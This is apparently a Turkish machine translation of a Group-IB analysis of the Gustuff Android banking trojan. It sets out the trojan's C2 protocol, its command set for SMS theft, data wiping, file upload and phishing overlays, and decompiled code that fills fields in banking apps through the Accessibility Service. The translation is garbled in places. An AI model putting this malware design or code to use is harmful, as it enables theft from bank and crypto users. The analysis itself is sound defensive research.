Gibi Android- Gustuff Trojanı, hesaplarınızdan (fiat ve kripto para birimleri) en karlı olanları çekiyor.

Gibi Android- Gustuff Trojanı, hesaplarınızdan (fiat ve kripto para birimleri) en karlı olanları çekiyor.

Geçen gün Grup-IB rapor mobil aktivite hakkında Android- Gustuff Truva Atı. Sadece uluslararası pazarlarda faaliyet gösteriyor ve en büyük 100 yabancı bankanın müşterilerine, 32 kripto cüzdanının mobil kullanıcılarına ve büyük e-ticaret sitelerine saldırıyor. Gustuff'ın geliştiricisi, Rusça konuşan ve Bestoffer takma adını kullanan bir siber suçlu, yakın zamanda Truva Atı'nı "bilgi ve deneyime sahip kişiler için ciddi bir ürün" olarak övdü.

Group-IB'de kötü amaçlı kod analizi uzmanı Ivan Pisarev araştırmasında Gustuff'un nasıl çalıştığını ve tehlikelerinin neler olduğunu detaylı bir şekilde anlatıyor.

Gustuff kimin peşinde?

Gustuff, tamamen otomatikleştirilmiş işlevlere sahip yeni nesil bir kötü amaçlı yazılımdır. Geliştiricisine göre, bu Truva atı, Kasım 2017'den beri işletim sistemini kullanan telefonlara saldıran AndyBot kötü amaçlı yazılımının yeni ve geliştirilmiş bir sürümüdür. Android Ve tanınmış uluslararası bankaların ve ödeme sistemlerinin mobil uygulamaları gibi görünen kimlik avı web formları aracılığıyla para çalıyor. Bestoffer'ın bildirdiğine göre, "Gustuff Bot"un aylık kiralama fiyatı 800 dolardı.

Gustuff örneğinin analizi, Truva atının potansiyel olarak Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank gibi en büyük bankaların mobil uygulamalarının yanı sıra kripto cüzdanlarını kullanan müşterileri hedef aldığını gösterdi. Bitcoin Cüzdanı, BitPay, Cryptopay, Coinbase vb.

Başlangıçta klasik bir bankacılık Truva atı olarak tasarlanan Gustuff'ın mevcut sürümü, saldırı için potansiyel hedef listesini önemli ölçüde genişletti. Buna ek olarak Android- Bankaların, fintech şirketlerinin ve kripto para hizmetlerinin uygulamalarına yönelik olan Gustuff, pazar yeri uygulamaları, çevrimiçi mağazalar, ödeme sistemleri ve mesajlaşma uygulamalarının kullanıcılarını hedefliyor. Özellikle PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut ve diğerleri.

Giriş noktası: kitlesel enfeksiyon hesaplaması

Gustuff, “klasik” bir nüfuz etme vektörüyle karakterize edilir. Android- APK dosyalarına bağlantılar içeren SMS mesajları aracılığıyla akıllı telefonlara bulaşır. AndroidCihaz enfekte olduktan sonra, Truva atı, sunucu komutuyla, enfekte olmuş telefonun kişi veritabanı veya sunucunun veritabanı aracılığıyla Gustuff'ı daha da yayabilir. Gustuff'ın işlevselliği, kitlesel enfeksiyon ve operatörleri için maksimum ticari kazanç sağlamak üzere tasarlanmıştır; meşru mobil bankacılık uygulamaları ve kripto cüzdanları için benzersiz bir "otomatik doldurma" özelliğine sahiptir ve bu da fon hırsızlığını hızlandırır ve ölçeklendirir.

Truva atının incelenmesi, otomatik yükleme özelliğinin engelli bireyler için bir hizmet olan Erişilebilirlik Hizmeti kullanılarak uygulandığını ortaya çıkardı. Gustuff, bu hizmeti kullanarak diğer uygulamaların pencerelerindeki öğelerle etkileşime karşı korumayı başarıyla aşan ilk Truva atı değil. AndroidAncak, Erişilebilirlik Hizmetinin otomatik yükleme ile birlikte kullanımı oldukça nadirdir.

Kurbanın telefonuna indirildikten sonra, Gustuff, Erişilebilirlik Hizmeti'ni kullanarak diğer uygulamaların (bankacılık, kripto para birimi, çevrimiçi alışveriş, mesajlaşma vb.) öğeleriyle etkileşim kurma ve saldırganların istediği eylemleri gerçekleştirme yeteneği kazanır. Örneğin, sunucu komutu üzerine, Truva atı bankacılık uygulamalarındaki düğmelere tıklayabilir ve metin alanı değerlerini değiştirebilir. Erişilebilirlik Hizmeti'nin kullanılması, Truva atının bankaların eski mobil Truva atlarına karşı kullandığı koruma mekanizmalarını ve Google'ın yeni işletim sistemi sürümlerinde uyguladığı güvenlik politikası değişikliklerini atlatmasını sağlar. AndroidÖrneğin Gustuff, Google Protect'i devre dışı bırakabiliyor: yazara göre bu özellik vakaların %70'inde işe yarıyor.

Gibi Android- Gustuff Trojanı, hesaplarınızdan (fiat ve kripto para birimleri) en karlı olanları çekiyor.

Gustuff ayrıca meşru mobil uygulamaların simgeleriyle sahte PUSH bildirimleri görüntüleyebilir. Kullanıcı PUSH bildirimine tıklar ve sunucudan indirilen bir kimlik avı penceresi görür ve burada istenen banka kartı veya kripto cüzdanı verilerini girer. Başka bir Gustuff senaryosunda adına PUSH bildiriminin görüntülendiği uygulama açılıyor. Bu durumda kötü amaçlı yazılım, Erişilebilirlik Hizmeti aracılığıyla sunucudan gelen komut üzerine, sahtekarlık amaçlı bir bankacılık uygulamasının form alanlarını doldurabiliyor.

Gustuff'un işlevleri aynı zamanda sunucuya virüs bulaşmış bir cihaz hakkında bilgi göndermeyi, SMS mesajlarını okuma/gönderme yeteneğini, USSD isteklerini göndermeyi, SOCKS5 Proxy'yi başlatmayı, bir bağlantıyı takip etmeyi, dosyaları (belgelerin fotoğraf taramaları, ekran görüntüleri, fotoğraflar dahil) göndermeyi de içerir. sunucu, cihazı fabrika ayarlarına sıfırlayın.

Kötü Amaçlı Yazılım Analizi

Zararlı bir işletim sistemi uygulamasını yüklemeden önce Android Kullanıcıya Gustuff tarafından talep edilen hakların listesini içeren bir pencere gösterir:

Gibi Android- Gustuff Trojanı, hesaplarınızdan (fiat ve kripto para birimleri) en karlı olanları çekiyor.
Uygulama ancak kullanıcının onayı alındıktan sonra kurulacaktır. Uygulamayı başlattıktan sonra Truva atı kullanıcıya bir pencere gösterecektir:

Gibi Android- Gustuff Trojanı, hesaplarınızdan (fiat ve kripto para birimleri) en karlı olanları çekiyor.
Bundan sonra simgesini kaldıracaktır.

Yazara göre Gustuff, FTT'den bir paketleyici tarafından paketleniyor. Uygulama başlatıldıktan sonra komutları almak için periyodik olarak CnC sunucusuyla iletişim kurar. İncelediğimiz bazı dosyalar kontrol sunucusu olarak bir IP adresi kullanıyordu 88.99.171[.]105 (bundan sonra şu şekilde ifade edeceğiz: <%CnC%>).

Başlatıldıktan sonra program sunucuya mesaj göndermeye başlar http://<%CnC%>/api/v1/get.php.

Yanıtın aşağıdaki formatta JSON olması bekleniyor:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Uygulamaya her erişildiğinde, virüslü cihaz hakkında bilgi gönderilir. Mesaj formatı aşağıda gösterilmiştir. Alanların olduğunu belirtmekte fayda var. tam, ekstra, uygulamalar и izin – isteğe bağlıdır ve yalnızca CnC'den talep edilmesi durumunda gönderilecektir.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Yapılandırma verilerinin saklanması

Gustuff, operasyonel açıdan önemli bilgileri bir tercih dosyasında saklar. Dosya adı ve içindeki parametrelerin adları, dizeden MD5 toplamının hesaplanmasının sonucudur. 15413090667214.6.1<%name%>Nerede <%isim%> — başlangıç ​​adı-değeri. İsim üretme fonksiyonunun Python yorumu:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

Aşağıda bunu şu şekilde belirteceğiz: nameGenerator(giriş).
Yani ilk dosya adı: nameGenerator("API_SERVER_LIST"), aşağıdaki adlara sahip değerleri içerir:

Değişken ismiDeğer
nameGenerator("API_SERVER_LIST")Dizi biçiminde CnC adreslerinin bir listesini içerir.
nameGenerator("API_SERVER_URL")CNC adresini içerir.
nameGenerator("SMS_UPLOAD")Bayrak varsayılan olarak ayarlanmıştır. Bayrak ayarlanmışsa CnC'ye SMS mesajı gönderir.
nameGenerator("SMS_ROOT_NUMBER")Etkilenen cihaz tarafından alınan SMS mesajlarının gönderileceği telefon numarası. Varsayılan null'dur.
nameGenerator("SMS_ROOT_NUMBER_RESEND")Bayrak varsayılan olarak temizlenir. Yüklüyse, virüslü bir cihaz bir SMS aldığında kök numaraya gönderilir.
nameGenerator("DEFAULT_APP_SMS")Bayrak varsayılan olarak temizlenir. Bu bayrak ayarlanırsa uygulama gelen SMS mesajlarını işleyecektir.
nameGenerator("DEFAULT_ADMIN")Bayrak varsayılan olarak temizlenir. Bayrak ayarlandıysa uygulamanın yönetici hakları vardır.
nameGenerator("DEFAULT_ACCESSIBILITY")Bayrak varsayılan olarak temizlenir. Bayrak ayarlandıysa Erişilebilirlik Hizmetini kullanan bir hizmet çalışıyor demektir.
nameGenerator("APPS_CONFIG")Belirli bir uygulamayla ilişkili Erişilebilirlik olayı tetiklendiğinde gerçekleştirilmesi gereken eylemlerin listesini içeren bir JSON nesnesi.
nameGenerator("APPS_INSTALLED")Cihazda yüklü uygulamaların bir listesini saklar.
nameGenerator("IS_FIST_RUN")Bayrak ilk başlangıçta sıfırlanır.
nameGenerator("UNIQUE_ID")Benzersiz bir tanımlayıcı içerir. Bot ilk kez başlatıldığında oluşturulur.

Sunucudan gelen komutları işlemek için modül

Uygulama, CnC sunucularının adreslerini kodlanmış bir dizi biçiminde saklar. Base85 satırlar. Komut ve Komutlar Listesi - sunucular İlgili komut alındığında değişiklik yapılabilir; bu durumda adresler tercih dosyasına kaydedilir.

İsteğe yanıt olarak sunucu uygulamaya bir komut gönderir. Komutların ve parametrelerin JSON formatında sunulduğunu belirtmekte fayda var. Uygulama aşağıdaki komutları işleyebilir:

EkipAçıklama
ileriBaşlatEtkilenen cihaz tarafından alınan SMS mesajlarını CnC sunucusuna göndermeye başlayın.
ileriDurdurEtkilenen cihaz tarafından alınan SMS mesajlarını CnC sunucusuna göndermeyi durdurun.
ussdÇalıştırUSSD isteğini yürütün. USSD talebinde bulunmanız gereken numara, JSON alanı “numarası”nda bulunur.
SMS gönderBir SMS mesajı gönderin (gerekirse mesaj parçalara bölünür). Komut, parametre olarak "to" (hedef numara) ve "body" (mesajın gövdesi) alanlarını içeren bir JSON nesnesi alır.
gönderSmsAbVirüs bulaşmış cihazın kişi listesindeki herkese SMS mesajları gönderin (gerekirse mesaj "parçalara ayrılır"). Mesaj gönderme arasındaki aralık 10 saniyedir. Mesajın gövdesi JSON "body" alanındadır
gönderSmsMassKomut parametrelerinde belirtilen kişilere SMS mesajları gönderin (gerekirse mesaj parçalara ayrılır). Mesaj gönderme arasındaki aralık 10 saniyedir. Bir parametre olarak komut, öğeleri "to" - hedef numarası ve "body" - mesajın gövdesi alanlarını içeren bir JSON dizisini ("sms" alanı) alır.
değişiklik SunucusuBu komut, parametre olarak "url" anahtarıyla bir değer alabilir - daha sonra bot, nameGenerator("SERVER_URL") veya "array" değerini değiştirecektir - ardından bot, diziyi nameGenerator'a ("API_SERVER_LIST") yazacaktır. Böylece uygulama CnC sunucularının adresini değiştirir.
yöneticiNumarasıKomut bir kök sayıyla çalışacak şekilde tasarlanmıştır. Komut, aşağıdaki parametrelere sahip bir JSON nesnesini kabul eder: “number” — nameGenerator(“ROOT_NUMBER”)'ı alınan değerle değiştirin, “resend” — nameGenerator(“SMS_ROOT_NUMBER_RESEND”) değiştirin, “sendId” — nameGenerator(“ROOT_NUMBER”) öğesine gönderin ) benzersiz kimlik.
Güncelleme bilgisiEtkilenen cihazla ilgili bilgileri sunucuya gönderin.
Verileri silinKomutun amacı kullanıcı verilerini silmektir. Uygulamanın hangi adla başlatıldığına bağlı olarak, cihazın yeniden başlatılmasıyla veriler tamamen silinir (birincil kullanıcı) veya yalnızca kullanıcı verileri silinir (ikincil kullanıcı).
çorapBaşlatProxy modülünü başlatın. Modülün çalışması ayrı bir bölümde anlatılmıştır.
çorapDurdurProxy modülünü durdurun.
linki açLinki izle. Bağlantı “url” anahtarının altındaki JSON parametresinde bulunur. Bağlantıyı açmak için “android.intent.action.VIEW” kullanılır.
TümSms'leri yükleCihaz tarafından alınan tüm SMS mesajlarını sunucuya gönderin.
TümFotoğrafları yükleVirüs bulaşmış bir cihazdaki görüntüleri bir URL'ye gönderin. URL parametre olarak gelir.
dosya yüklemeVirüs bulaşmış bir cihazdan bir URL'ye dosya gönderin. URL parametre olarak gelir.
Telefon Numaralarını yükleTelefon numaralarını kişi listenizden sunucuya gönderin. Parametre olarak “ab” anahtarını içeren bir JSON nesne değeri alınırsa uygulama, telefon rehberinden bir kişi listesi alır. Parametre olarak “sms” anahtarını içeren bir JSON nesnesi alınırsa uygulama, SMS mesajlarını gönderenlerin kişi listesini okur.
değişiklik ArşiviUygulama parametre olarak gelen adresten “url” anahtarını kullanarak dosyayı indirir. İndirilen dosya “archive.zip” adı ile kaydedilir. Uygulama daha sonra isteğe bağlı olarak “b5jXh37gxgHBrZhQ4j3D” arşiv şifresini kullanarak dosyayı açacaktır. Sıkıştırılmış dosyalar [harici depolama]/hgps dizinine kaydedilir. Uygulama bu dizinde web sahtekarlıklarını saklar (aşağıda açıklanmıştır).
eylemlerKomut, ayrı bir bölümde açıklanan Eylem Hizmeti ile çalışacak şekilde tasarlanmıştır.
testHiçbir şey yapmamak.
indirKomutun amacı uzak sunucudan bir dosya indirmek ve onu "İndirilenler" dizinine kaydetmektir. URL ve dosya adı bir parametre olarak gelir, JSON parametre nesnesindeki alanlar sırasıyla: "url" ve "dosyaAdı".
KaldırBir dosyayı "İndirilenler" dizininden kaldırır. Dosya adı “fileName” anahtarıyla birlikte bir JSON parametresinde gelir. Standart dosya adı “tmp.apk”tır.
tebliğYönetim sunucusu tarafından tanımlanan açıklama ve başlık metinlerini içeren bir bildirim gösterin.

Komut Formatı tebliğ:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

İncelenmekte olan dosya tarafından oluşturulan bildirim, alanda belirtilen uygulama tarafından oluşturulan bildirimlerle aynı görünüyor uygulamayı yükleyeceğiz. Alan değeri ise uygulamayı aç — Doğru, bir bildirim açıldığında alanda belirtilen uygulama başlatılıyor uygulamayı yükleyeceğiz. Alan değeri ise uygulamayı aç — Yanlış öyleyse:

  • İçeriği dizinden indirilen bir kimlik avı penceresi açılır <%harici depolama%>/hgps/<%dosyaadı%>
  • İçeriği sunucudan indirilen bir kimlik avı penceresi açılır <%url%>?id=<%Bot id%>&app=<%Uygulama adı%>
  • Kart ayrıntılarını girme fırsatı sunan, Google Play Kartı görünümüne sahip bir kimlik avı penceresi açılır.

Uygulama herhangi bir komutun sonucunu <%CnC%>set_state.php aşağıdaki formatta bir JSON nesnesi olarak:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

EylemlerHizmet
Uygulamanın işlediği komutların listesi aksiyon. Bir komut alındığında, komut işleme modülü genişletilmiş komutu yürütmek için bu hizmete erişir. Hizmet, bir JSON nesnesini parametre olarak kabul eder. Hizmet aşağıdaki komutları yürütebilir:

1. PARAMS_ACTION — böyle bir komut alındığında, hizmet ilk olarak JSON parametresinden Type anahtarının değerini alır; bu değer aşağıdaki gibi olabilir:

  • hizmetBilgisi – alt komut değeri JSON parametresinden anahtarla alır dahilÖnemli Değil. Bayrak True ise uygulama bayrağı ayarlar FLAG_ISOLATED_PROCESS Erişilebilirlik Hizmetini kullanan bir hizmete. Bu şekilde hizmet ayrı bir süreçte başlatılacaktır.
  • kök — o anda odakta olan pencereyle ilgili bilgileri alır ve sunucuya gönderir. Uygulama, AccessibilityNodeInfo sınıfını kullanarak bilgi alır.
  • Gizem — yönetici haklarını isteyin.
  • geciktirmek — "data" anahtarı parametresinde belirtilen milisaniye sayısı kadar ActionsService'i askıya alın.
  • pencereler — kullanıcıya görülebilen pencerelerin bir listesini gönderin.
  • kurmak — uygulamayı virüslü cihaza yükleyin. Arşiv paketinin adı “fileName” anahtarındadır. Arşivin kendisi İndirilenler dizininde bulunur.
  • global – alt komutun geçerli pencereden gezinmesi amaçlanmıştır:
    • Hızlı Ayarlar menüsünde
    • geri
    • Ev
    • bildirimlere
    • son açılan uygulamalar penceresine

  • başlatmak - uygulamayı başlat. Uygulama adı anahtarla parametre olarak gelir veri.
  • sesleri — ses modunu sessiz olarak değiştirin.
  • kilidini açmak — ekranın ve klavyenin arka ışığını tam parlaklığa açar. Uygulama bu eylemi, [Application lable]:INFO dizesini etiket olarak belirterek WakeLock'u kullanarak gerçekleştirir.
  • izinYer paylaşımı — işlev uygulanmadı (komutun yürütülmesine verilen yanıt {"message":"Desteklenmiyor"} veya {"message":"low sdk"} şeklindedir)
  • jest — işlev uygulanmadı (komut yürütmeye verilen yanıt {"message":"Desteklenmiyor"}veya {"message":"Düşük API"} olur)
  • izinleri — bu komut uygulama için izin istemek için gereklidir. Ancak sorgu işlevi uygulanmadığından komut anlamsızdır. İstenen hakların listesi, "izinler" anahtarıyla birlikte bir JSON dizisi olarak gelir. Standart liste:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • açık — kimlik avı penceresi görüntülemek. Sunucudan gelen parametreye bağlı olarak uygulama aşağıdaki kimlik avı pencerelerini görüntüleyebilir:
    • İçeriği bir dizindeki dosyaya yazılan bir kimlik avı penceresi göster <%harici dizin%>/hgps/<%param_filename%>. Kullanıcının pencereyle etkileşiminin sonucu şu adrese gönderilecektir: <%CnC%>/records.php
    • İçeriği adresten önceden yüklenen bir kimlik avı penceresi göster <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Kullanıcının pencereyle etkileşiminin sonucu şu adrese gönderilecektir: <%CnC%>/records.php
    • Google Play Kartı görünümünde bir kimlik avı penceresi gösterin.

  • interaktif — komut, AcessibilityService kullanan diğer uygulamaların pencere öğeleriyle etkileşim kurmak üzere tasarlanmıştır. Programda etkileşim için özel bir hizmet uygulanmıştır. İncelenmekte olan uygulama pencerelerle etkileşime girebilir:
    • Şu anda aktif. Bu durumda parametre, etkileşim kurmanız gereken nesnenin kimliğini veya metnini (adını) içerir.
    • Komut yürütüldüğünde kullanıcı tarafından görülebilir. Uygulama pencereleri kimliğe göre seçer.

    Nesneleri almış olmak ErişilebilirlikNodeInfo İlgili pencere öğeleri için uygulama, parametrelere bağlı olarak aşağıdaki eylemleri gerçekleştirebilir:

    • odak — odağı nesneye ayarlayın.
    • tıklayın — bir nesneye tıklayın.
    • actionId — kimliğe göre bir işlem gerçekleştirin.
    • setText — bir nesnenin metnini değiştirin. Metni değiştirmek iki şekilde mümkündür: bir eylem gerçekleştirin ACTION_SET_TEXT (eğer sürüm Android Enfekte olmuş cihaz, yaşından küçük veya ona eşittir. LOLİPOP) veya panoya bir dize yerleştirip onu bir nesneye yapıştırarak (eski sürümler için). Bu komut bir bankacılık uygulamasındaki verileri değiştirmek için kullanılabilir.

2. PARAMS_ACTIONS - ile aynı PARAMS_ACTIONyalnızca bir JSON komut dizisi gelir.

Görünüşe göre birçok kişi, başka bir uygulamanın pencere öğeleriyle etkileşim kurma işlevinin neye benzediğiyle ilgilenecek. Gustuff'ta bu işlevsellik şu şekilde uygulanır:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Metin değiştirme işlevi:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Böylece kontrol sunucusunun doğru yapılandırılmasıyla Gustuff, bankacılık uygulamasındaki metin alanlarını doldurabiliyor ve işlemi tamamlamak için gerekli butonlara basabiliyor. Truva Atı'nın uygulamada oturum açmasına bile gerek yoktur; PUSH bildirimini görüntülemek ve ardından önceden yüklenen bankacılık uygulamasını açmak için bir komut göndermek yeterlidir. Kullanıcı kendi kimliğini doğrulayacak ve ardından Gustuff arabayı doldurabilecek.

SMS mesajı işleme modülü

Uygulama, virüslü cihazın SMS mesajlarını kabul etmesi için bir olay işleyicisi yükler. İncelenmekte olan uygulama, operatörden SMS mesajının gövdesinde yer alan komutları alabilir. Komutlar şu formatta gelir:

7!5=<%Base64 kodlu komut%>

Uygulama, gelen tüm SMS mesajlarında bu dizeyi arar. 7!5=, bir dize algılandığında, dizenin kodunu ofset 64'te Base4'ten çözer ve komutu yürütür. Komutlar CnC'dekilere benzer. Yürütme sonucu, komutun geldiği numaraya gönderilir. Yanıt formatı:

7*5=<%“result_code komutunun” Base64 kodlaması%>

Uygulama isteğe bağlı olarak alınan tüm mesajları Kök numarasına gönderebilir. Bunun için tercih dosyasında Kök numarası belirtilmeli ve mesaj yönlendirme bayrağı ayarlanmalıdır. Saldırganın numarasına şu formatta bir SMS mesajı gönderilir:

<%Numaradan%> - <%Zaman, format: gg/AA/yyyy SS:dd:ss%> <%SMS gövdesi%>

Ayrıca isteğe bağlı olarak uygulama CnC'ye mesaj gönderebilmektedir. SMS mesajı sunucuya JSON formatında gönderilir:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Bayrak ayarlanmışsa nameGenerator("DEFAULT_APP_SMS") – uygulama SMS mesajını işlemeyi durdurur ve gelen mesajların listesini temizler.

Proxy modülü

İncelenmekte olan uygulama, konfigürasyonlu statik alanları içeren ayrı bir sınıfa sahip olan bir Backconnect Proxy modülü (bundan sonra Proxy modülü olarak anılacaktır) içerir. Yapılandırma verileri örnekte anlaşılır biçimde saklanır:

Gibi Android- Gustuff Trojanı, hesaplarınızdan (fiat ve kripto para birimleri) en karlı olanları çekiyor.

Proxy modülü tarafından gerçekleştirilen tüm işlemler dosyalara kaydedilir. Bunu yapmak için Harici Depolama'daki uygulama, günlük dosyalarının depolandığı "logs" (yapılandırma sınıfındaki ProxyConfigClass.logsDir alanı) adı verilen bir dizin oluşturur. Günlüğe kaydetme şu adlara sahip dosyalarda gerçekleşir:

  1. main.txt – CommandServer isimli sınıfın çalışmaları bu dosyaya kaydedilir. Aşağıda, str dizesinin bu dosyaya kaydedilmesi mainLog(str) olarak gösterilecektir.
  2. oturum-<%id%>.txt — bu dosya, belirli bir proxy oturumuyla ilişkili günlük verilerini kaydeder. Aşağıda, str dizesinin bu dosyaya kaydedilmesi sessionLog (str) olarak belirtilecektir.
  3. sunucu.txt – bu dosya yukarıda açıklanan dosyalara yazılan tüm verileri günlüğe kaydetmek için kullanılır.

Günlük veri formatı:

<%Date%> [Thread[<%thread id%>], id[]]: günlük dizesi

Proxy modülünün çalışması sırasında ortaya çıkan istisnalar da bir dosyaya kaydedilir. Bunu yapmak için uygulama aşağıdaki formatta bir JSON nesnesi oluşturur:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Daha sonra bunu bir dize temsiline dönüştürür ve günlüğe kaydeder.

İlgili komut alındıktan sonra Proxy modülü başlatılır. Proxy modülünü başlatmak için bir komut alındığında uygulama adı verilen bir hizmeti başlatır. AnaHizmetProxy modülünün çalışmasını yönetmekten - onu başlatmak ve durdurmaktan sorumludur.

Hizmete başlama aşamaları:

1. Dakikada bir kez çalışan bir zamanlayıcı başlatır ve Proxy modülünün etkinliğini kontrol eder. Modül aktif değilse başlatır.
Ayrıca olay tetiklendiğinde android.net.conn.CONNECTIVITY_CHANGE Proxy modülü başlatılır.

2. Uygulama parametreyle bir uyandırma kilidi oluşturur PARTIAL_WAKE_LOCK ve onu yakalar. Bu, cihazın CPU'sunun uyku moduna geçmesini engeller.

3. Önce satırı günlüğe kaydederek Proxy modülünün komut işleme sınıfını başlatır mainLog("sunucuyu başlat") и

Sunucu::start() ana bilgisayar[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

nerede proxy_cnc, command_port ve proxy_port – Proxy sunucu yapılandırmasından elde edilen parametreler.

Komut işleme sınıfı denir Komut Bağlantısı. Başlangıçtan hemen sonra aşağıdaki eylemleri gerçekleştirir:

4. Bağlanılıyor ProxyConfigClass.host: ProxyConfigClass.commandPort ve virüslü cihazla ilgili verileri buraya JSON formatında gönderir:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Nerede:

  • id – tanımlayıcı, “x” isimli Paylaşımlı Tercihler dosyasından “id” alanı ile bir değer almaya çalışır. Eğer bu değer elde edilememişse yeni bir değer üretir. Böylece Proxy modülünün, Bot ID'sine benzer şekilde oluşturulan kendi tanımlayıcısı vardır.
  • imei — cihazın IMEI'si. Değerin alınması sırasında bir hata oluşmuşsa bu alan yerine hata mesajı yazılacaktır.
  • imsi — Cihazın Uluslararası Mobil Abone Kimliği. Değerin alınması sırasında bir hata oluşmuşsa bu alan yerine hata mesajı yazılacaktır.
  • model — Son ürünün son kullanıcı tarafından görülebilen adı.
  • üretici — Ürünün/donanımın üreticisi (Build.MANUFACTURER).
  • androidVersion - "<%release_version%> (<%os_version%>),<%sdk_version%>" biçiminde bir dize
  • ülke — cihazın geçerli konumu.
  • partnerId boş bir dizedir.
  • packageName – paket adı.
  • networkType — mevcut ağ bağlantısının türü (örnek: “WIFI”, “MOBİL”). Hata durumunda null değerini döndürür.
  • hasGsmSupport – doğru – telefon GSM'yi destekliyorsa, aksi halde yanlış.
  • simReady – SIM kart durumu.
  • simCountry - ISO ülke kodu (SIM kart sağlayıcısına göre).
  • networkOperator — operatörün adı. Değerin alınması sırasında bir hata oluşmuşsa bu alan yerine hata mesajı yazılacaktır.
